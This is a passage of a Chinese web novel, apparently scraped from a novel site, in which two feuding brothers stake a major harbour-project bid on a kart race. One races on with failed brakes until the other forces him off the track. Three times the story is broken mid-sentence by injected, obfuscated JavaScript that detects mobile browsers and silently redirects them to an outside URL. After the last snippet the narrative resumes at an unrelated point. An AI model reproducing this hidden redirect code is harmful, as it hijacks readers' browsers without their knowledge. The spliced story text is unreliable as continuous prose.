“第九名!司徒厉害啊,第二次开就排第九!” 整个赛车场,猛然间躁动起来,欢呼声口哨声,一时间好不热闹。 新晋得第九名的这位复姓司徒,成绩是5分40秒。 他摘下头盔讪笑:“今天没发挥好,平时都能开进5分25……” 旁边的朋友立刻往上夸:“这里第一名才5分20秒,司徒再冲冲搞不好能进前三……” 司徒得意笑笑:“我还是习惯奥城的赛车场,这里的车……影响发挥了。” 赛车是周家宝的生命,说他不行可以,说他车不行不能忍。 他指着排行榜:“看……看见第一名的I……ID没?” 所有人抬头看向LED屏,第一名的ID写着诺大的:输给你爸不丢人 这名字非常猖狂,连第二名陈宗礼便宜都占了。 周家宝撇司徒一眼,淡淡道:“人家就……就是开这车,拿的第……第一。好多年了,还……还没人能破!” 周老板意思明确,就是说:技术差就认,别赖车。 司徒看周家宝跟陈宗礼他们关系不错,不敢得罪,谄媚道:“那真是车神啊!周老板,这个第一是谁啊?现在还比么?我想跟他过过招……” 周家宝本想说,你的成绩跟人家差了足足20秒,洗洗睡吧。 忽地,视线被十几米外一个黑发卷毛吸引,眼睛亮了亮,喊道:“喏!你爸……爸来了!” 顾不得被占便宜,所有人的目光顺着周家宝看过去。 空气仿佛凝结了似的,赛场上发动机此起彼伏的嗡鸣声,仿佛也听不见了。 庄嘉轩打量着走过来的两个人,一个笑眯眯,一个娃娃脸。 娃娃脸那位,满脸愁容,一身暗色衬衫休闲裤,像抢了爸爸衣柜的衣服,来表演老成持重。 笑眯眯那位,浅蓝短袖衬衫,奶白色短裤,清清爽爽。帅气的脸上挂着笑,让人如沐春风。 只有陈宗礼知道,对方的笑不达眼底,那如沐春风的和善,不过是先礼后兵。 果不其然,“笑眯眯”的陈一诺越走越近,现场那么多人,他那双如黑葡萄的瞳仁,一路盯着陈宗礼。如同饿狗盯上了骨头。 还有不到5米的距离,他突然喊了声:“陈宗礼!” 呐,敢喊“陈宗礼”全名的人,猝不及防地出现了。 现场认识陈一诺的并不多,一时间都摸不准对方的身份,只觉得他跟陈宗礼之间气氛微妙,暗流涌动。 庄嘉轩自认是陈宗礼最好的兄弟,他警觉朝前半步,挡在陈宗礼身前:“你想干嘛?” 陈一诺挑眉,保持笑容:“哎,奇怪,不是庄少请我们来接风的吗?” 娃娃脸的王之初站在他身边,附和:“对啊,我们打个招呼你戒备成这样,把我们当客人,还是把我们当踢馆的?” 虽然,庄嘉轩当不成古惑仔,但骨子里江湖气已经腌入味了。 他双手叉腰,微抬下巴,语气还是警惕:“知道是我的接风宴,你还冲他喊?让你们是来玩的,要打招呼就好好打!” 陈一诺皮笑肉不笑:“我看到我哥激动,喊一声也不行啊?!” 庄嘉轩有点为难。都知道他俩王不见王多年,但陈一诺一口一个哥,让人难以判断他是想哥哥,还是想杀哥哥。 他没有放松警惕,低声警告:“既然来了就是客。但我警告你,陈一诺别挑事!” 陈一诺?!卧槽! 整个港城敢直呼陈一诺全名的人并不多。区别于陈宗礼的没人敢,陈一诺是没人知。 庄嘉轩一叫,现场不明所以的人,都明所以了。 传说中的陈一诺?传说中的陈家两兄弟?刚刚打完收购战弄得满城风雨的陈家兄弟?连狗仔都抓拍不到的陈家兄弟? 他们!此刻!就站在自己面前!!! 刚刚还吵着找记者的周老板,眼厉地看见人群里有人掏手机,大声警告:“禁……禁止拍照!砸手……手机啊!” 庄嘉轩也反应过来,朝身后的人重复道:“对!今天视频、照片都不能拍!赶快收起来!” 掏手机的几个人,瞬间像被点了穴,后背僵直不敢动了。 陈一诺倒是无所谓,笑道:“拍就拍呗,又没什么见不得人的。” 他双手插兜,眉眼弯弯,看着空旷的赛车场,自言自语似的:“好久没玩车了……” 他目光移到陈宗礼脸上,闪过一刹那阴冷:“哥,来一圈?” 该来的还是来了。陈宗礼心里喃喃。 现场所有人屏住呼吸。 都是土生土长的港城人,从报章杂志、家宴派对,都听过陈家兄弟不睦的八卦。争继承权,争天峻话事权,争莫多里的收购。桩桩件件,大家心知肚明。 不夸张地说,罗密欧与朱丽叶两家的世仇,估计都没他俩深。 别说赛车。就算陈一诺提出每人开一辆车,朝着对方“自杀式”相撞,谁先刹车谁输。在场所有人也不会觉得奇怪。 可陈一诺说的“赛车”,只是单纯“赛车”吗? 陈一诺上前一步,腿踩在看台的台阶上,裤子的奶白色边沿压着膝盖,露出一节线条流畅的小腿。他的表情轻蔑,仿佛这一脚踩的不是台阶上,而是陈宗礼的脸上。 “跟莫多里谈判那天,你没亲自上阵,让我白捡20亿。这回咱们面对面较量一次,谁也别让谁,敢不敢?” 陈宗礼比他高半个头,上斜眼垂眸睨他,像一只被逗弄后,犹豫是否撕碎猎物的狮王。 冷声道:“你到底想干什么?” 周老板看气氛紧张,解围道:“一……一诺,那么多……多人跟你比,非……非盯着你哥干嘛?我有新……新车,给你留的,去……去看看。” 陈一诺耐心等周老板说完,目光始终盯着陈宗礼:“新车要开,赛也要比。我不喜欢胜之不武,你想让我,我偏要挑战你。别废话了,敢不敢?!” 庄嘉轩听他又把话题绕回来,眉头紧皱:“陈一诺,他多久不玩车了,你别装不知道。” 陈一诺没有把暴跳如雷的庄嘉轩放在眼里,能让他眼睛装得下的只有陈宗礼。 “我知道啊,一尘不变有什么意思,打破规则才好玩吗……” “哥,听说你打算竞标羽南港啊。” 他故意将声音压低,讥笑的问句,宛如吐信子的蛇,钻到陈宗礼耳朵里。 港城作为国际大都会,是国际金融中心之一,长期以向国际提供金融服务闻名。然而,第四次工业革命浪潮,以及“金融风暴”的侵袭下,港城ZF为了吸引国际高科技创新企业进驻,推出了“羽南港”计划,并打算对外招募承建商。 天峻打算参与羽南港竞标,是绝密的商业机密,陈一诺是怎么知道的? 庄嘉轩察觉陈宗礼表情不对,想上前隔开,被他伸手挡了回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850434|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他疑惑地抿唇,但没有回避,答道:“是。” 陈一诺得意得晃了晃脑袋,挑眉:“羽南港那么大的项目,天峻吃不下吧,要找合作伙伴?” 他声音里带着笑意,“那么大”几个字咬得很重,像在调侃陈宗礼不自量力。 陈宗礼还没从第一个问题里回神,第二个问题就砸过来。 羽南港项目,是港城近20年规模最大的地产招标项目。 陈宗礼本打算跟莫多里成功谈妥收购后,拿着收购的资金参与竞标会更从容。但是,因为陈一诺的搅局,收购黄了,他的资金回流计划没奏效。但这次项目机会难得,哪怕资金不够,陈宗礼还是决定竞标。 想到现阶段的天峻没法独吞羽南港项目,为此,在决定竞标羽南港的同时他也开始物色合作伙伴。 这也是机密中的机密。 但陈一诺显然也知道了,陈宗礼只能如实回答:“对。” 陈一诺早有预料似的笑了,眨眨眼:“考虑过我们吗?” 站在一旁的庄嘉轩和王之初面面相觑,完全听不明白陈一诺三连问的用意。怎么从赛车讲到项目,再讲到合作的?两兄弟不是水火不容嘛? 陈宗礼也觉得疑惑,那双平静的上斜眼带着攻击性:“没有。” 羽南港是港城项目,竞标要求规定要本地集团,一星总部在国外,并不符合要求。所以,没在天峻合作范围内。 “是吗……”陈一诺低声笑,很直接,“没考虑,是因为我吗?” 陈宗礼皱眉:“不是。” 陈一诺冷笑:“我姑且相信你。” 他继续道,“天峻缺钱,一星有钱。一星想回港城发展,没有比羽南港更适合打响头炮的了。” “所以,咱们比一场。你赢了,一星无条件帮天峻拿下羽南港。” 匪夷所思四个字,印在陈宗礼脸上。不说一星的资质问题,他们俩如果合作同一个项目,还不天天打,天天上头条?光是舆论压力,ZF部门就不可能把项目交给他们。 一旁的庄嘉轩似乎忘了陈宗礼不赛车的事,忍不住问:“如果他输了呢?” 陈一诺笑了:“输了,天峻退出羽南港的竞标。” 陈宗礼脸色一冷,庄嘉轩对羽南港项目有所耳闻,他蹭地炸起来:“陈一诺,你真是狼心狗肺!” “你想在港城站稳脚跟,自己去闯就是,天峻为什么要用一个上百亿的项目跟你赌?赌赢了,你白赚一个项目,输了,天峻退出,你少一个对手,还能再找其他公司合作。” “横竖你也不亏,宗礼为什么要跟你比?” 要不是陈一诺知道上辈子,陈宗礼最终错失羽南港项目,导致天峻元气大伤,他也觉得自己的要求离谱。 但话都说出口了,他立场坚定:“图我有钱,图我有能力拿下羽南港,图我成为你的盟友比成为你的敌人要好。莫多里的收购案,就是最好的证明。” “怎么样,赌不赌?” 庄嘉轩赶紧拉着陈宗礼的衣袖,压低声音阻止道:“陈宗礼!你别跟他胡闹!大把财团愿意跟天峻合作,别中了他的计。万一他赛车的时候给你使绊子出了危险,就不是输赢这么简单了!那是要出人命的!” 他捏捏陈宗礼的手臂:“你别忘了,你还有手伤!出了意外怎么跟老太太交代……” 陈宗礼抬手打断他,挑起那双上斜眼,淡淡道:“走吧。” 庄嘉轩立刻应和:“对,走,不跟他闹!哎…是不是走错了?那边是车手更衣室啊……” 陈宗礼双手揣兜,懒洋洋往前走,没回头:“对,就是去更衣室,准备比赛!” 11. 第十一章 晚上9点,岚枫山赛车场的气氛比往常更高涨。 一个晚上,不但能亲眼目睹港城话题人物:陈家兄弟世纪同框,还能近距离看他俩同场飙车。 要是还知道这场比赛的输赢会牵涉一个上百亿政府项目,肯定会更兴奋。 外人看热闹,亲友愁到爆。 双方亲友庄嘉轩和王之初双双站在看台上,两人动作统一:抱着双臂,神情紧绷,目光都盯着起点处蓄势待发的车队。 在庄嘉轩的强烈抗议下,他们放弃了刺激的越野车,选择了相对安全的卡丁车。 现场十辆车一起抽签,08号陈一诺排中间,01号陈宗礼排前面。听说陈家兄弟亲身下场赛车,迫不及待开屏的司徒,他的02号车夹在他们之间。 比起赛场上的紧张气氛,周老板倒是很放松,他走到庄嘉轩旁边揶揄道:“那……那么紧张,怎么不……不跟着下去保……保驾护航?” 这里除了王之初,读书时期都爱玩赛车,庄嘉轩更是重度沉迷患者,有段时间差点住在赛车场。还是他亲姐半夜开车拽着他耳朵拉回家的。 庄嘉轩抿着唇:“到下面保驾护航,我不如不去,万一出事,我在这里叫救护车还能早点到。” “除了救护车,我还顺道叫一辆警车,告他个蓄意谋杀!” 他转头撇了眼王之初,两个人的关系其实算不错,可为了兄弟,只能各自为营,互看不惯。 王之初冷笑一声,娃娃脸阴阳怪气道:“作为律师,我提醒你,赛车是他们自愿参与的,别让我再听到你诽谤我当事人。” 庄嘉轩“哎哟”怪叫道:“一张未成年的娃娃脸也能当律师了?” 王之初托着眼镜,对他的攻击无感:“对,你要特别小心我这种娃娃脸的律师,专门告你这种富二代,还赚你们的钱。” 论嘴皮子,庄嘉轩说不过律师,只能发烂:“难怪他答应得那么爽快,我好心请你们来接风,你们就处心积虑搞这出是吧!” 王之初比他矮半个头,剐他一眼:“他们两兄弟早晚要来一场,根本不是针对你!我只是不明白,为什么赌注是羽南港啊?” 庄嘉轩不信:“你就装吧!你跟陈一诺穿一条裤子,他想干什么,你能不知道?” 王之初冷哼:“不信拉倒。” 他跟陈一诺关系虽然好,但他这次回来,总感觉对方变化很大。 以前宅一天都难受,要出门找乐子的人,如今在酒店能连续宅一周不出房间。有时候,还会站在阳台眼神空洞地眺望远方,背影特别落寞沧桑。 今天说来给庄嘉轩接风,也绝口不提过来干什么。 谁知道,跟陈宗礼打了个照面,回港城发展、参加羽南港项目……这些爆炸性消息,一个个朝他脑袋“哐哐”砸。他一个都接不住。 现在被庄嘉轩点了一下,他有些恼怒,回怼:“你在异国他乡远程伺候太子爷,他跟你说了吗?” 庄嘉轩“啧”了声,愤懑道:“嘿!你小子凭什么质问我?!老子当古惑仔的时候,你还在念书!” 王之初无情戳破:“你当古惑仔的时候?你就没当过古惑仔!你是被你姐扭着耳朵带回家的,你个姐控……” “说谁姐控!!!你敢再说一遍!” 底下的赛车还没开跑,观众席眼看要先打起来了。 周老板跑到他们中间,一手搂一个,安抚道:“别……别吵了!比赛要……要开始了!” 周老板看着的人到中年,没想到臂力惊人,两个人被他分别搭着肩,居然动弹不了。 庄嘉轩咬着牙扛着:“周老板,你轻一点……” 王之初也被搂得神情痛苦:“疼疼疼……” 周老板看上去仿佛完全没用力,自然道:“疼……疼就对了!好……好看比赛!” “你……你们压……压,谁赢?” 两人沉默了。 虽然,他们站在对立阵营,但当年,两兄弟每回赛车都悬念满满,不到最后一刻都不知道谁能赢。上一次比赛,陈一诺仅凭1秒险胜陈宗礼,拿走岚枫山车神的荣誉。 如今,他们多年没碰车,技术早就生疏了,后面还跟着一个刚拿第九——实际能冲前三的司徒。 这场比赛,谁输谁赢真不一定。 …… 赛车场上,信号灯由红转绿,比赛正式开始! 卡丁车几乎同时起步,轮胎与地面摩擦中发出尖锐的嘶鸣。 陈太子的01号车起步最快,迅速抢占内线,在第一段直路确立优势。02号车的司徒紧跟其后,像一只伺机而动的猎豹,虎视眈眈地跟在后面。 最神秘又最受瞩目的陈一诺不疾不徐地跟在队尾,表现平平,要不是贴在车尾的08号码牌,完全看不出这是占据LED大屏上的TOP1——当年的“ 岚枫山车神”。 周老板看了一圈,低声道:“这……这个司徒,心机挺……挺深的,后面的车完……完全上不来。” 跟打麻将一样,竞技场上并不只输赢,还有人情世故。 02号的司徒,死死卡在第二位,身后的车,想超车超不上,只能规规整整跟在02号身后,远看像一列“小火车”。司徒的意图非常明确:给陈太子当赛车保镖,远远甩开后面的车。 司徒在学生时期没机会接近陈宗礼,工作之后更难。要不是抱上庄嘉轩的大腿,他也来不了接风宴,见不了陈宗礼。好不容易,陈宗礼答应下场比赛,有了同台竞技的机会,当然要好好把握,留个好印象。 庄嘉轩低声笑:“这个司徒拍马屁也先做做功课啊,宗礼最烦人故意让他。” 周老板揶揄他:“你……你以前,不也……也这样。” 庄嘉轩摸摸鼻子,尴尬嘟囔着:“我没有故意让他,我只是赢不了他,又不想别人赢……” 以前,他开车赢不了陈宗礼,就帮他压身后的车,谁知道,陈宗礼并不领情。 他说,比赛就是要你追我赶才有意思,不怕人赢他,最怕人让他。所以,陈一诺这样,从一开始就把他当对手,全力以赴的比赛,最对陈宗礼的胃口。 可以理解吧,高处不胜寒的感觉,太寂寞了。 旁边的王之初冷笑一声:“那巧了,一诺最烦人故意使绊子。” 陈一诺靠自己一场场赛车积累,得到的“岚枫山车神”称号。他这种白手起家的,最看不得这种人情局。 周老板幸灾乐祸地笑笑:“嘿,司徒真……真惨,一次得……得罪俩。” 果然,从起跑开始就落到尾部梯队的陈一诺,并不愿意安安稳稳地当一节“小火车”,几个弯位,就从第八一路往上窜到第四。 转眼,两个急弯过去,他又超过第四升到第三位,和陈宗礼之间,只隔着司徒这个碍眼的。 大概是看出了司徒的意图,陈一诺故意撞了撞他车尾,引来司徒一记狠戾的眼神,等看清楚对方是谁,他的目光又慢慢变成惊诧。 这样短的赛程,能从尾部连续超车,一直杀到前排,技术非同一般。 周老板拍拍手,感叹道:“姜……姜还是老的辣!后来居上,这……这才好看嘛!” 虽然,庄嘉轩撑陈宗礼,但自己也是赛车迷,忍不住夸陈一诺:“这小子,技术一点没生疏啊!还那么厉害。” 眨眼间,距离冲刺还有三圈,08号的陈一诺和02号的司徒咬得非常紧。 陈一诺首次超车未遂后,司徒在内圈开始走“蛇形”,就是要压着陈一诺不让他。 王之初紧张得双手攥紧,骂道:“这个司徒为了抬陈太子,别人的安全都不考虑了?他这种走位不违规吗?万一一诺轮胎打滑,或者操作不稳,整辆车要飞出去!” 连庄嘉轩也觉得司徒离谱:“两车并排时,内侧车辆要保持稳定直行。这家伙的走位,确实有问题!” 周老板并不紧张,在一旁笑笑:“非正……正式比赛,规……规则不实用。” “放……放心吧,论野,谁……谁野得过车神呢!” 庄嘉轩被周老板提醒,突然笑了,附和道:“那倒是……当年他可野多了。” 视线回到赛场上,司徒和陈一诺,你追我赶往前开,排第一“独孤求败”的陈宗礼可谓消极应战,甚至故意放慢了速度,似乎在等谁。看他俩靠近一些,才稍微提速。 从看台上看,前三名一字排开,所有人只想看太子爷和陈一诺的对决,夹在中间的司徒,反倒成了碍眼的“电灯泡”。 可眼看比赛要进入尾声,排名依然没有变动,看来结果没有悬念。 只有看过陈一诺比赛的人,才知道,越到后头越不能掉以轻心。 果不其然,在最后两圈的某个急弯,司徒稍不留神,被陈一诺率先占了内圈。司徒再想反超已经错失机会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850435|175834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而领先的01号陈宗礼,余光看见司徒在外圈闪现,误以为他想超车,立刻打方向盘漂移到外圈,试图把它顶住。 没想到,他方向盘刚打了一半,轮胎还压在中线上,右耳就传来发动机的嗡鸣声,似乎带着杂音。等他察觉不妥,旁边的陈一诺已经反超上来,朝他飞了一个wink,喊道:“先走啦!” 陈宗礼“切”地失笑,握着方向盘的手顿了半秒,压着他散漫的尾音,猛踩油门紧跟其后。 眨眼间,排第三的08号车,借着前排失误和内环优势,连超俩辆车,直接冲到第一位。 赛道上的人还在专注比赛,看台上的观众已经被陈一诺连续超车的操作,惊呆了!欢呼声连成一片。 “卧槽!!!居然能连超两车!果然是车神,绝了!” “陈一诺这心态牛逼!被司徒压了一路,还能稳定反超!精彩!” “太子爷心态爆炸吧?稳赢的比赛,眼看要输了,还有最后几圈,看看到底谁赢!” 看到这样的超车,周老板说话都变利索了,手指放嘴里吹了几个响亮的哨声。 哑声喊道:“车神牛逼!” 此时,屏幕显示,最后一圈——生死战。 08号陈一诺和01号陈太子两兄弟,终于碰面。到底是稍占优势的陈一诺险胜,还是太子爷绝地反杀? 一切都未可知,一切都有可能。 每辆车的圈速,大屏幕上都有显示。 周老板熟练地看着数据察觉异常,他皱眉:“怎……怎么都不减速?” 王之初眼睛盯着比赛,问道:“最后一圈冲刺,谁还减速啊!当然全力以赴啊。” 周老板抿嘴,过高速弯的时候,规定车手需要提前减速,也禁止“晚刹车”超车。虽说这不是正式比赛,但从安全考虑也不应该这么拼! 到底是陈一诺太想赢,还是出了什么问题? …… 08号车上的陈一诺,此时精神极度专注,他双手用力握着方向盘,赛车手套和方向盘之间发出轻微的皮革摩擦声。 面前又是一个急弯,他的脚试着踩刹车,快速看一眼仪表盘,车没有丝毫减速的迹象! 按照这样的速度过弯,稍有不慎肯定要飞出去。他双手用力控制着方向盘,手指几乎要把皮革捏出痕。 耳畔传来发动机轰鸣声,陈太子的01号车出现在外圈视线范围内,他居然也不减速追上来了。 他怎么…… 赛车时不能犹豫,片刻的犹豫,局势就完全变了。就像在陈一诺分神时,落后的陈宗礼抓紧机会加速奔向外道,跟他并驾齐驱。 “砰”的一声响,陈宗礼的01号车极具侵略性地挤压处于内环的08号车。 换作其他车手,这一撞肯定要出意外。可陈一诺手非常稳,他握紧方向盘,稳住车身,咬牙扛住了这次攻击。 从远看,两辆车几乎并线而行,轮胎和轮胎之间的摩擦,迸发出异响。双方都心知肚明,只要有一方控制不当,两辆车要么撞一起,要么一起往外飞。 陈宗礼怎么会这样不管不顾地开车?!陈一诺快速看了一眼陈宗礼,发现对方也在看着他。 向来稳重的陈宗礼,此时眼睛里闪过怒意,他将车再次朝内挤压,“砰——”一声响,陈一诺的车直接铲上赛道边的草坪。 他真疯了?!陈一诺脑子里只冒出这几个字。 看台上的观众看来,此刻的陈宗礼,为了赢,在疯狂把陈一诺的08号车逼出赛道! 王之初忍不住骂脏话:“操,陈宗礼这是干什么?” 庄嘉轩咬咬牙,陈宗礼的操作太反常了,他喃喃:“这……也太危险了!” 幸好,陈一诺车技够硬,被陈宗礼这样挤,还对抗着过了弯,赛场上只剩最后一条100米直路。 可陈宗礼明显失控,到最后一段直路依然没放过陈一诺,两辆车一直顶着。 最终,陈一诺受不了,朝内打方向盘,逼得轮胎在赛道边的草坪上压出一条道,车的速度被迫降了下来。 旁边的陈宗礼趁机加大油门,冲线赢下比赛。 从陈一诺实现一超二开始,场上的观众都在期待这位“岚枫山车神”能最终逆袭。 没想到,居然被太子爷反超赢了。 大家嘴上不说,却对比赛结果心照不宣:陈宗礼赢了,但赢得不光彩。 12. 第十二章 “陈宗礼玩得太脏了!” 王之初把陈一诺从车里拉出来,边拽边骂:“虽然不是正规比赛,但陈宗礼怎么能在众目睽睽之下,用这么拙劣的招数把你逼停!” 陈一诺摘下头盔,王之初骂骂咧咧的声音,从模糊到清晰。他揉了揉被压得凌乱的卷发,有些怔愣的往后看。 陈宗礼那辆“01号”车停在他前方五米左右,全黑的赛车服穿他身上有种锐利的肃杀感。旁边的庄嘉轩双手叉腰,对着他的手臂,情绪激动地说着什么。 陈一诺收回目光,被王之初拽着,硬要他回神。 “……万一你没控制住飞出去怎么办?或者两辆车撞在一起怎么办?我以前是没看出来,为了赢,陈宗礼居然下手那么狠?!” 看着娃娃脸越说越生气,陈一诺回过神打断他:“不是你看到的那样……” 王之初愣神,皱眉道:“什么叫不是我看到的那样?我只是近视,不是瞎了!我知道了,是不是因为收购的事,他心存不满,要报复你!” 陈一诺没再解释,转身朝不远处的工作人员招招手。 王之初不说话,透过眼镜打量着陈一诺,那身红白相间的赛车服把他身材勾勒得精瘦修长,明明输了比赛,情绪却比他平静不少,脸上甚至带着隐隐的歉意…… 他记得,当年陈一诺被赶出国后,每次聊起陈宗礼,三句话不到脸色就变了,接着开始骂人。这回,在LS电梯间偶遇陈宗礼,陈一诺不但没骂人,还在露台说了那样一番话。 赢了收购战之后,也非常低调,没有买通稿狠狠嘲讽陈宗礼,也没有回陈家老宅炫耀。 这回被陈宗礼用非常手段绝地反杀,还差点被挤出赛道,他却完全不生气。 在他看来,陈一诺真的不对劲啊!可他思来想去找不到理由。 王之初思绪神游之际,穿着“ 岚枫山赛车场”制服的工作人员小跑过来,陈一诺指着身旁那辆刚跟他经历完生死时速的“08号”,说道:“刹车好像出问题了。” 工作人员点头,说我看看。然后上车检查…… 这时,王之初才留意到“08号”引擎的位置隐约有白烟飘起,还有一股浓重的烧焦味飘过来。 “陈一诺!” 庄嘉轩骇人的声音从背后传来,陈一诺和王之初同时转头。 只见自诩“岚枫山陈浩南”的庄嘉轩,气势汹汹朝他们走来,陈宗礼伸手想拽住他,可对方一个甩手,直接把他甩开了。 他抬头,刚好跟陈一诺对视。 陈一诺感觉浑身血液被激活似的快速流动,过速的心跳和胸前“砰砰砰”的震动声,让他动弹不得。 他专注力全在陈宗礼身上,察觉到他的左手无力地垂在身侧,以至于庄嘉轩走到他面前,他还没回过神来。 直到庄嘉轩劈头盖脸开骂:“陈一诺,想死就自己去死,不要拖累别人!” 王之初本来火气就没消,看庄嘉轩居然恶人先开骂,哪里忍得了。虽然比庄嘉轩矮半个头,还是上前半步,用力推了对方一把。 “庄嘉轩你狗叫什么?难道不是你们犯规在先?” 刚结束的时候,庄嘉轩也以为是这样,可跟陈宗礼聊完之后,才发现原来有隐情。 他叉腰,凶狠地扫了王之初一眼,豪横道:“我狗叫?!我们犯规?哼!要不是宗礼冒着断手的危险,帮陈一诺把车逼停,他妈早就失控撞车躺医院了!” 王之初彻底蒙了,突然想起陈一诺说的那句“不是你看到的那样”,不敢吱声,朝对方投去疑问的目光。 庄嘉轩指着他的车,直接说破:“没看见吗?他明知道自己刹车坏了,还不要命踩油门继续飙,为了赢命都不要了!” 王之初顿时反应过来,问陈一诺:“你刹车什么时候坏的?” 陈一诺岔开话题:“坏了就坏了,哪知道什么时候……” 咱们王律触觉很敏锐,察觉他在说谎:“你觉得我会信吗?!” 陈一诺避开他的视线,又遇上陈宗礼的审视,对方忽然说:“我猜,应该是第一次超02号车没成功的时候。” 当时,02号车的司徒为了不让他超车,双方的车产生轻微摩擦。就在那时,陈一诺刹车开始不妥。 “那不是比赛中段就坏了吗?” 看陈一诺没否认,王之初更坚定了自己的猜想,他指着陈一诺,无语道:“都不知道应该夸你,还是应该骂你了!” 按照规定,赛车过程中有机械故障,车手应该第一时间向场外工作人员示意。陈一诺不但没有喊停,甚至把不能刹车的劣势变成优势,实现了现场最燃的那幕“一超二”。 要不是陈宗礼途中发现不妥,拼命从外环挤他,逼他减速,最后那圈的急弯,后果难料。 剧情的反转来得猝不及防。让刚刚正气凛然的王之初哑口无言。 庄嘉轩一脸沉冤得雪地拍拍手:“听到了吧?我没冤枉他吧?他要自寻死路我管不着!但他有没有想过,万一连累陈宗礼出事,怎么跟老太太交代?怎么跟陈家交代?” 陈一诺抿着唇,手指局促地抠着头盔上的贴纸。比赛时察觉刹车有问题,却还是选择继续比赛,如今想来,其实很后怕。 然而,他深知骨子里流淌着“为了赢不要命”的血液,并不容易更改。却更没想到,陈宗礼会在激烈比赛中发现不妥,冒着生命危险帮了他。 刚来时,叫嚣着打赌的嚣张劲,在庄嘉轩的步步逼问下,全部消失不见了。 庄嘉轩还嫌说得不够重,硬拽陈宗礼到他面前,指着那只无力下垂的左手:“你看看他的手!!本来就有旧伤,今天为了把你逼停,又伤到旧患,你到底……” “行了!” 沉默半天的陈宗礼突然开口,他拿头盔遮盖下垂的手腕,看向庄嘉轩:“别说了。” 庄嘉轩吃枪药似的更气了:“怎么,我不能说他了?!为了赢不要命,他不是第一次了!这下好了,比赛输了!你记得自己打的赌吧?!准备掏空钱包给天峻争羽南港吧!” “活该!” “我说行了!”陈宗礼再次开口,他眉头紧皱,上斜眼里盛着怒意,那是上位者惯有的不容置喙。 “你们先走,让我们单独聊聊。” 庄嘉轩被他一句话,顶得胸闷,可说到底他也只是想替兄弟出气,关上门,还是他们两兄弟亲。 他铁青着脸,朝陈宗礼比了个大拇指:“行!你们才是兄弟,你们慢慢聊!!” …… 工作人员把车一辆辆开往停车处,唯独“08号”被拖车直接送去检修。 今晚云层厚,既无月亮也无星。看热闹的人群散去后,诺大的赛车场,只剩下他和陈宗礼。 虽然,对方没说话,但高温加上怒意,陈一诺能感受到陈宗礼浑身散发着热气,像一堵无形的墙朝自己压过来。 陈宗礼垂眸看他,明明眼里的怒意就要喷薄而出,可等开口时,却已经冷下来。这是陈宗礼调节情绪后的状态。 “不能为了赢不择手段,你答应过我的,记得吗?” 这句话,像一个匕首,划破了陈一诺体内某个虬结的伤疤。本以为是陈年旧伤,对他而言毫无影响。没想到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陈宗礼掌权天峻许多年,说出口的决定,旁人无法置喙。 他继续道:“至于,那些答应过却没做到的……是哥对不起你。” 陈一诺排山倒海的怒意,被陈宗礼一句“哥对不起你”,四两拨千斤地轻松消解,全落在了棉花上。 陈一诺愤怒的情绪,哑了火,无处发泄的愤懑,攥紧成拳,让手指掐进掌心,传来一阵阵钝痛。实在没想到,陈宗礼的道歉来得那么突然,那么快。快到他不知道怎么反应。 他瞪着陈宗礼,语气持怀疑态度:“你骗我那么多回,一句对不起就算了?在你心里,我那么好骗吗?” 陈宗礼没有人情味的脸上,难得流露出一丝温柔,他郑重道:“无论你信不信,我从没想过骗你,一句对不起确实不足以把过去的事一笔勾销……” “至少,给我一个弥补的机会,行吗?” 他们之间的误会太多,时间跨度太长,仿佛一堆乱麻,根本无从下手。而陈宗礼率先说出的道歉,像残局里一枚出其不意的死棋。误打误撞地,给死局盘出一点生机。 陈一诺喉头滚动,心里软了些,嘴上还是硬:“我不知道。” 陈宗礼点头,不紧不慢:“那就慢慢来。” “但是,无论是为了赢我,还是为了赢别人,不择手段不顾生命危险的事,不能再有。” 陈宗礼并没有等他回答的意思,轻轻圈住他的手腕,不顾陈一诺的反对,强势地把他攥紧的手指一根根松开。 掌心摊开,凹陷的掐痕慢慢淡去,最终融成了掌纹。 13. 第十三章 “左手断掌掌兵符,右手断掌掌财库。” 坊间传言,陈宗礼有一双断掌,是人中龙凤。但命格太硬,刑克父母手足。为此,他父母早逝,只能在奶奶陈老太太的庇荫下成人。 陈家嫡孙矜贵,港城人尽皆知。可某天,突降一个陈一诺,在港城激起轩然大波。 大家都在传陈一诺的身世,最多人说是私生子,还有过分的,说老太太年纪大,担心被陈宗礼克死,所以特意找了替死鬼……一时间众说纷纭,乱七八糟。 只有陈家人知道,陈一诺跟陈家毫无血缘关系。 陈宗礼还记得跟陈一诺一次见面时,自己刚满18岁。 当时,他还不叫陈一诺,而是古一诺。 那天,陈老太带着陈宗礼搭乘私人飞机,到北方上城的某个殡仪馆参加故人的追悼会。 他们祖孙刚到殡仪馆门口,天空就开始飘雪,鹅毛大雪簌簌落下,作为南方人本该激动的。可大雪之下,灵堂外的写着“奠”字的白灯笼随风荡着。殡葬队伍稀稀拉拉走着,在雪上落下一串脚印,莫名地让人感到哀伤。 身穿孝服的古一诺捧着奶奶白凤娇的遗照,手指被冻得通红,仍然面无表情地走在殡葬队伍的最前列。 